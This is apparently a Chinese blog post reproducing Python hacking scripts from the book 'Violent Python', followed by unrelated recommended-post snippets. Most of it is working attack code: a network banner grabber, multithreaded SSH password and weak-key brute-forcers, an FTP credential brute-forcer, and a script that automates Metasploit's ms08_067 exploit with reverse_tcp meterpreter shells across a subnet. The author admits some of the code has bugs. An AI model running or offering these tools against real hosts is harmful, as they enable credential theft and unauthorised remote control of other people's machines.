TCP连接扫描、抓取应用的Banner

  1. #coding=utf-8
  2. from socket import *
  3. from threading import *
  4.  
  5. #定义一个信号量
  6. screenLock = Semaphore(value=1)
  7.  
  8. def ScanBanner(addr,port):
  9. try:
  10. conn = socket(AF_INET,SOCK_STREAM)
  11. conn.connect((addr,port))
  12. conn.send(bytes("hello lyshark\r\n",encoding="utf-8"))
  13. res = conn.recv(200)
  14. # 加锁
  15. screenLock.acquire()
  16. print("[+] 主机: {} Banner: {}".format(addr,res))
  17. except Exception:
  18. # 加锁
  19. screenLock.acquire()
  20. print("[-] 主机: {} 不存在或已经关闭.".format(addr))
  21. pass
  22. finally:
  23. # 执行释放锁的操作
  24. screenLock.release()
  25. conn.close()
  26.  
  27. setdefaulttimeout(1)
  28. for i in range(0,25):
  29. a = "192.168.1.{}".format(i)
  30. t = Thread(target=ScanBanner,args=(a,80))
  31. t.start()

使用nmap端口扫描代码

需要 pip install python-nmap

  1. #coding=utf-8

# >>> nm = nmap.PortScanner()
# >>> nm.scan("192.168.1.1-20","21,22,80,45,135","-sV")
# >> nm.scan(hosts="192.168.1.20",arguments="-n -sP -PE -PA21,22,80

  1. import nmap
  2. import optparse
  3.  
  4. def nmapScan(tgtHost,tgtPort):
  5. #创建一个PortScanner()类对象
  6. nmScan = nmap.PortScanner()
  7.  
  8. #调用PortScanner类的scan()函数,将目标和端口作为参数输入并进行nmap扫描
  9. nmScan.scan(tgtHost,tgtPort)
  10.  
  11. #输出扫描结果中的状态信息
  12. state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
  13. print '[*] ' + tgtHost + " tcp/" + tgtPort + " " + state
  14.  
  15. def main():
  16. parser=optparse.OptionParser("[*] Usage : ./nmapScan.py -H <target host> -p <target port[s]>")
  17. parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
  18. parser.add_option('-p',dest='tgtPorts',type='string',help='specify target port[s]')
  19. (options,args)=parser.parse_args()
  20. tgtHost = options.tgtHost
  21. tgtPorts = str(options.tgtPorts).split(',')
  22. if (tgtHost == None) | (tgtPorts[0] == None):
  23. print parser.usage
  24. exit(0)
  25. for tgtPort in tgtPorts:
  26. nmapScan(tgtHost,tgtPort)
  27.  
  28. if __name__ == '__main__':
  29. main()

用Pexpect与SSH交互

需要先下载Pexpect:pip install pexpect  该工具只能在linux系统中使用,且可以登录ftp等,不局限于ssh

  1. #coding=utf-8
  2. import pexpect
  3. from threading import *
  4.  
  5. def SSHConnect(Host,User,Password,Port):
  6. PROMPT = ["# ",">>> ","> ","\$ "]
  7. ssh_newkey = 'Are you sure you want to continue connecting'
  8. connStr = 'ssh ' + User + '@' + Host + ' -p ' + Port
  9. try:
  10. # 为ssh命令生成一个spawn类的对象
  11. child = pexpect.spawn(connStr,timeout=1)
  12. # 期望有ssh_newkey字符、提示输入密码的字符出现,否则超时
  13. ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
  14. if ret == 0:
  15. return 0
  16. if ret == 1:
  17. # 发送yes回应ssh_newkey并期望提示输入密码的字符出现
  18. child.sendline('yes')
  19. ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
  20. if ret == 0:
  21. return 0
  22. # 发送密码
  23. child.sendline(Password)
  24. child.expect(PROMPT)
  25. return 1
  26. except Exception:
  27. pass
  28. return 0
  29. child = SSHConnect("192.168.1.20","root","","")
  30. print(child)

pexpect 登录执行命令

  1. #-*- coding:UTF-8 -*-
  2. import pexpect
  3.  
  4. def ssh(user,host,password,port,command):
  5. child = pexpect.spawn('ssh -l %s %s -p %s %s' %(user,host,port,command))
  6. # 0 : 连接超时
  7. # 1 :ssh有时候提示你是否确认连接
  8. # 2 :提示输入密码
  9. # 3 :匹配到#号,表示命令已经执行完毕
  10. ret = child.expect([pexpect.TIMEOUT, 'Are you sure you want to continue connecting','[Pp]assword:',r"([^-]>|#)"])
  11. if ret == 0: # 连接超时
  12. return 0
  13. elif ret == 1: # SSH提示你是否确认连接
  14. child.sendline ('yes') # 我们输入yes
  15. child.expect ('password: ')# 输入yes后应该提示输入密码,我们再次期待 password
  16. ret = child.expect([pexpect.TIMEOUT, 'password: '])
  17. if ret == 0: # 连接超时
  18. return 0
  19. ret = child.sendline(password)
  20. if ret == 5:
  21. child.expect(pexpect.EOF)
  22. return child.before
  23. return 0
  24.  
  25. if __name__ =='__main__':
  26. try:
  27. host='192.168.1.20'
  28. user="root"
  29. password = ''
  30. command="ifconfig"
  31. child = ssh(user,host,password,"",command)
  32. print(child)
  33. except Exception as e:
  34. print (e)

用pexpect 暴力破解SSH密码

  1. #coding=utf-8
  2. import pexpect
  3. import os,sys
  4. import threading
  5. from optparse import OptionParser
  6.  
  7. def SSHConnect(Host,User,Password,Port):
  8. PROMPT = ["# ",">>> ","> ","\$ "]
  9. ssh_newkey = 'Are you sure you want to continue connecting'
  10. connStr = 'ssh ' + User + '@' + Host + ' -p ' + Port
  11. try:
  12. # 为ssh命令生成一个spawn类的对象
  13. child = pexpect.spawn(connStr , timeout=1)
  14. # 查询是否存在 ssh_newkey 里面的字符串、提示输入密码的字符出现,否则超时
  15. ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
  16. if ret == 0:
  17. return 0
  18. if ret == 1:
  19. # 发送yes回应ssh_newkey并等待,提示输入密码的字符出现
  20. child.sendline('yes')
  21. ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
  22. if ret == 0:
  23. return 0
  24. # 发送密码
  25. child.sendline(Password)
  26. child.expect(PROMPT)
  27. return 1
  28. except Exception:
  29. pass
  30. return 0
  31.  
  32. def ThreadBlast(Host,User,Password,Port,semaphore):
  33. # 加锁
  34. semaphore.acquire()
  35. RetCode = SSHConnect(Host,User,Password,Port)
  36. if RetCode == 1:
  37. print("[+] --> 主机: {} 状态码: {} -------> 密码: {}".format(Host,RetCode,Password))
  38. else:
  39. # 释放锁
  40. print("[-] --> 主机: {} 状态码: {}".format(Host,RetCode))
  41. semaphore.release()
  42.  
  43. if __name__ == "__main__":
  44. parser = OptionParser()
  45. parser.add_option("-H","--host",dest="host",help="set host 192.168.1.1")
  46. parser.add_option("-u","--user",dest="user",help="set user root")
  47. parser.add_option("-p","--port",dest="port",help="set port 22")
  48. parser.add_option("-f","--file",dest="file",help="set file wordlist.log")
  49. (options,args) = parser.parse_args()
  50. if options.host and options.user and options.port and options.file:
  51. # 设置线程锁,每次执行5个线程
  52. semaphore = threading.Semaphore(5)
  53. fp = open(options.file,"r")
  54. PassList = fp.readlines()
  55. for item in PassList:
  56. t = threading.Thread(target=ThreadBlast,args=(options.host,options.user,item,options.port,semaphore))
  57. t.start()
  58. else:
  59. parser.print_help()

关于有时,密码失败已经解决了,如下图,这里我就不贴代码了,上面代码有点问题的,自己改改吧。

用pxssh 暴力破解SSH密码

  1. # -*- coding: utf-8 -*-
  2. import optparse
  3. from pexpect import pxssh
  4. import time
  5. from threading import *
  6.  
  7. maxConnections = 5
  8. connection_lock = BoundedSemaphore(value=maxConnections)
  9. Found = False
  10. Fails = 0
  11.  
  12. def connect(host, user, password, release):
  13. global Found
  14. global Fails
  15. try:
  16. s = pxssh.pxssh()
  17. s.login(host, user, password)
  18. print("[+] Password Found " + password)
  19. Found = True
  20. except Exception as e:
  21. if "read_nonblocking" in str(e):
  22. Fails += 1
  23. time.sleep(5)
  24. connect(host, user, password, False)
  25. elif "synchronize with original prompt" in str(e):
  26. time.sleep(1)
  27. connect(host, user, password, False)
  28. finally:
  29. if release:
  30. connection_lock.release()
  31. def main():
  32. parser = optparse.OptionParser("usage%prog" + "-H <target host> -u <user> -F <password list>")
  33. parser.add_option("-H", dest="tgtHost", type="string", help="specify target host")
  34. parser.add_option("-u", dest="user", type="string", help="specify the user")
  35. parser.add_option("-F", dest="passwordFile", type="string", help="specify password file")
  36. options, args = parser.parse_args()
  37. host = options.tgtHost
  38. passwdFile = options.passwordFile
  39. user = options.user
  40. if host is None or passwdFile is None or user is None:
  41. print(parser.usage)
  42. exit(0)
  43. fn = open(passwdFile, "r")
  44. for line in fn.readlines():
  45. if Found:
  46. # 如果发现了密码就退出
  47. print("[*] Exiting: Password Found")
  48. exit(0)
  49. if Fails > 5:
  50. print("[!] Too Many Socket Timeouts")
  51. exit(0)
  52. connection_lock.acquire()
  53. password = line.strip("\r").strip("\n")
  54. print("[-] Testing: " + str(password))
  55. t = Thread(target=connect, args=(host, user, password, True))
  56. t.start()
  57.  
  58. if __name__ == "__main__":
  59. main()

利用SSH中的弱密钥

使用密钥登录ssh时,格式为:ssh user@host -i keyfile -o PasswordAuthentication=no

  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import pexpect
  4. import optparse
  5. import os
  6. from threading import *
  7.  
  8. maxConnections = 5
  9. #定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限
  10. connection_lock = BoundedSemaphore(value=maxConnections)
  11. Stop = False
  12. Fails = 0
  13.  
  14. def connect(host,user,keyfile,release):
  15.  
  16. global Stop
  17. global Fails
  18.  
  19. try:
  20. perm_denied = 'Permission denied'
  21. ssh_newkey = 'Are you sure you want to continue'
  22. conn_closed = 'Connection closed by remote host'
  23. opt = ' -o PasswordAuthentication=no'
  24. connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
  25. child = pexpect.spawn(connStr)
  26. ret = child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#', ])
  27. #匹配到ssh_newkey
  28. if ret == 2:
  29. print '[-] Adding Host to ~/.ssh/known_hosts'
  30. child.sendline('yes')
  31. connect(user, host, keyfile, False)
  32. #匹配到conn_closed
  33. elif ret == 3:
  34. print '[-] Connection Closed By Remote Host'
  35. Fails += 1
  36. #匹配到提示符'$','#',
  37. elif ret > 3:
  38. print '[+] Success. ' + str(keyfile)
  39. Stop = True
  40. finally:
  41. if release:
  42. #释放锁
  43. connection_lock.release()
  44.  
  45. def main():
  46. parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H <target host> -u <username> -d <directory>')
  47. parser.add_option('-H',dest='host',type='string',help='specify target host')
  48. parser.add_option('-u',dest='username',type='string',help='target username')
  49. parser.add_option('-d',dest='passDir',type='string',help='specify directory with keys')
  50. (options,args) = parser.parse_args()
  51.  
  52. if (options.host == None) | (options.username == None) | (options.passDir == None):
  53. print parser.usage
  54. exit(0)
  55.  
  56. host = options.host
  57. username = options.username
  58. passDir = options.passDir
  59.  
  60. #os.listdir()返回指定目录下的所有文件和目录名
  61. for filename in os.listdir(passDir):
  62. if Stop:
  63. print '[*] Exiting: Key Found.'
  64. exit(0)
  65. if Fails > 5:
  66. print '[!] Exiting: Too Many Connections Closed By Remote Host.'
  67. print '[!] Adjust number of simultaneous threads.'
  68. exit(0)
  69. #加锁
  70. connection_lock.acquire()
  71.  
  72. #连接目录与文件名或目录
  73. fullpath = os.path.join(passDir,filename)
  74. print '[-] Testing keyfile ' + str(fullpath)
  75. t = Thread(target=connect,args=(username,host,fullpath,True))
  76. child = t.start()
  77.  
  78. if __name__ =='__main__':
  79. main()

使用Ftplib暴力破解FTP用户口令

通过ftplib模块,结合读取含有密码的文件来实现FTP用户口令的破解

  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import ftplib
  4.  
  5. def bruteLogin(hostname,passwdFile):
  6. pF = open(passwdFile,'r')
  7. for line in pF.readlines():
  8. username = line.split(':')[0]
  9. password = line.split(':')[1].strip('\r').strip('\n')
  10. print '[+] Trying: ' + username + '/' + password
  11. try:
  12. ftp = ftplib.FTP(hostname)
  13. ftp.login(username,password)
  14. print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password
  15. ftp.quit()
  16. return (username,password)
  17. except Exception, e:
  18. pass
  19. print '\n[-] Could not brubrute force FTP credentials.'
  20. return (None,None)
  21.  
  22. host = '10.10.10.128'
  23. passwdFile = 'ftpBL.txt'
  24. bruteLogin(host,passwdFile)

在FTP服务器上搜索网页

有了FTP服务器的登录口令之后,可以进行测试该服务器是否提供Web服务,其中检测通过nlst()列出的每个文件的文件名是不是默认的Web页面文件名,并把找到的所有默认的网页都添加到retList数组中

  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import ftplib
  4.  
  5. def returnDefault(ftp):
  6. try:
  7. #nlst()方法获取目录下的文件
  8. dirList = ftp.nlst()
  9. except:
  10. dirList = []
  11. print '[-] Could not list directory contents.'
  12. print '[-] Skipping To Next Target.'
  13. return
  14.  
  15. retList = []
  16. for filename in dirList:
  17. #lower()方法将文件名都转换为小写的形式
  18. fn = filename.lower()
  19. if '.php' in fn or '.asp' in fn or '.htm' in fn:
  20. print '[+] Found default page: '+filename
  21. retList.append(filename)
  22. return retList
  23.  
  24. host = '10.10.10.130'
  25. username = 'ftpuser'
  26. password = 'ftppassword'
  27. ftp = ftplib.FTP(host)
  28. ftp.login(username,password)
  29. returnDefault(ftp)

编写Python脚本与Metasploit交互

在findTgts()函数中实现对整个网段的主机445端口的扫描,setupHandler()函数实现目标主机被攻击后进行远程交互的监听器的功能

  1. #!/usr/bin/python
  2. #coding=utf-8
  3.  
  4. import nmap
  5.  
  6. def findTgts(subNet):
  7. nmScan = nmap.PortScanner()
  8. nmScan.scan(subNet,'')
  9. tgtHosts = []
  10. for host in nmScan.all_hosts():
  11. #若目标主机存在TCP的445端口
  12. if nmScan[host].has_tcp(445):
  13. state = nmScan[host]['tcp'][445]['state']
  14. #并且445端口是开启的
  15. if state == 'open':
  16. print '[+] Found Target Host: ' + host
  17. tgtHosts.append(host)
  18. return tgtHosts
  19.  
  20. def setupHandler(configFile,lhost,lport):
  21. configFile.write('use exploit/multi/handler\n')
  22. configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
  23. configFile.write('set LPORT ' + str(lport) + '\n')
  24. configFile.write('set LHOST ' + lhost + '\n')
  25. configFile.write('exploit -j -z\n')
  26.  
  27. #设置全局变量DisablePayloadHandler,让已经新建一个监听器之后,后面的所有的主机不会重复新建监听器
  28. #其中setg为设置全局参数
  29. configFile.write('setg DisablePayloadHandler 1\n')
  30.  
  31. def confickerExploit(configFile,tgtHost,lhost,lport):
  32. configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
  33. configFile.write('set RHOST ' + str(tgtHost) + '\n')
  34. configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
  35. configFile.write('set LPORT ' + str(lport) + '\n')
  36. configFile.write('set LHOST ' + lhost + '\n')
  37.  
  38. #-j参数表示攻击在后台进行,-z参数表示攻击完成后不与会话进行交互
  39. configFile.write('exploit -j -z\n')

《Python绝技:运用Python成为顶级黑客》 用Python进行渗透测试的更多相关文章

  1. 《Python绝技:运用Python成为顶级黑客》 Python实用小工具

    1.实现简单探测 使用socket模块,connect()方法建立与指定IP和端口的网络连接:revc(1024)方法将读取套接字中接下来的1024B数据 mport socket import sy ...

  2. python绝技:运用python成为顶级黑客|中文pdf完整版[42MB|网盘地址附提取码自行提取|

    Python 是一门常用的编程语言,它不仅上手容易,而且还拥有丰富的支持库.对经常需要针对自己所 处的特定场景编写专用工具的黑客.计算机犯罪调查人员.渗透测试师和安全工程师来说,Python 的这些 ...

  3. 《Python绝技:运用Python成为顶级黑客》 用Python进行取证调查

    1.你曾经去过哪里?——在注册表中分析无线访问热点: 以管理员权限开启cmd,输入如下命令来列出每个网络显示出profile Guid对网络的描述.网络名和网关的MAC地址: reg query &q ...

  4. Python 绝技 —— TCP服务器与客户端

    i春秋作家:wasrehpic 0×00 前言 「网络」一直以来都是黑客最热衷的竞技场.数据在网络中肆意传播:主机扫描.代码注入.网络嗅探.数据篡改重放.拒绝服务攻击……黑客的功底越深厚,能做的就越多 ...

  5. Python 绝技 —— UDP 服务器与客户端

    i春秋作家:wasrehpic 0x00 前言 在上一篇文章「Python 绝技 —— TCP 服务器与客户端」中,介绍了传输层的核心协议 TCP ,并运用 Python 脚本的 socket 模块演 ...

  6. 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道

    Python黑帽子  黑客与渗透测试编程之道   <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...

  7. 2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道

    python代码见码云:20179204_gege 参考博客Python黑帽子--黑客与渗透测试编程之道.关于<Python黑帽子:黑客与渗透测试编程之道>的学习笔记 第2章 网络基础 t ...

  8. Python爆火的原因与未来|内附Python学习书籍大礼包无偿领取|

    从12年到20年,python以肉眼可见的趋势超过了java,成为了当今It界人人皆知的编程语言. python为什么这么火? 网络编程语言搜索指数 适合初学者 Python具有语法简单.语句清晰的特 ...

  9. Python高手之路【一】初识python

    Python简介 1:Python的创始人 Python (英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑːn/), 是一种解释型.面向对象.动态数据类型的高级程序设计语言,由荷兰人Guido ...

  10. Python渗透测试工具合集

    摘自:http://www.freebuf.com/tools/94777.html 如果你热爱漏洞研究.逆向工程或者渗透测试,我强烈推荐你使用 Python 作为编程语言.它包含大量实用的库和工具, ...

随机推荐

  1. css之颜色篇

      app多采用浅灰#f5f5f5   白色一般用white,如果觉得白太直接了,可以加一点点灰,#fefefe,   这种情况下搭配#e4e4e4的浅灰边框最合适.

  2. WebService安全加密

    众所周知,WebService访问API是公开的,知道其URL者均可以研究与调用.那么,在只允许注册用户的WebService应用中,如何确保API访问和通信的安全性呢?本文所指的访问与通信安全性包括 ...

  3. mac安全与隐私只有两个选项,少了一个任何来源

    很多软件安装后就会出现,程序已损坏,请移到废纸篓的提示. 解决方法:在终端里输入:sudo spctl --master-disable 然后回车,然后输入密码,即可在安全选项中看到重新出现的允许任何 ...

  4. eclipse代码自动提示,eclipse设置代码自动提示

    eclipse代码自动提示,eclipse设置代码自动提示 eclipse是很多JAVA开发者基本上都用的工具,用它可以很方便的开发JAVA代码,当编写JAVA代码时,大部分人都是按组合键[Alt+/ ...

  5. 2018.09.24 bzoj1016: [JSOI2008]最小生成树计数(并查集+搜索)

    传送门 正解是并查集+矩阵树定理. 但由于数据范围小搜索也可以过. 我们需要知道最小生成树的两个性质: 不同的最小生成树中,每种权值的边出现的个数是确定的 不同的生成树中,某一种权值的边连接完成后,形 ...

  6. 2018.09.11 bzoj3629: [JLOI2014]聪明的燕姿(搜索)

    传送门 一道神奇的搜索. 直接枚举每个质因数的次数,然后搜索就行了. 显然质因数k次数不超过logkn" role="presentation" style=" ...

  7. 2018.07.06 POJ1556 The Doors(最短路)

    The Doors Time Limit: 1000MS Memory Limit: 10000K Description You are to find the length of the shor ...

  8. Eclipse出现An error has occurred,See error log for more details的错误

    因为加入了Aptana组件所以一直报这个错误,用了cmd的方法依然不奏效,最后选择 Window > perferences > General > Startup and Shut ...

  9. HDU 2037 今年暑假不AC (区间贪心)

    题意:又是中文题... 析:先说一下区间贪心的一个定理,选择不相交的区间:数轴上有n个开区间(ai, bi).选择尽量多的区间,使得这些区间两两不相交,贪心策略是,一定是选bi小的.(想一下为什么). ...

  10. 多网卡下对ServerSocket以TCP协议绑定IP和端口的测试

    一.引言:之前开发TCP协议的程序(C#里是Socket为主)都是基于主机上只有一个IP的,后来项目里涉及到了主机需要同时连接内外和外网的情况,在该主机上部署着一套WCS系统和一套WMS系统:WCS系 ...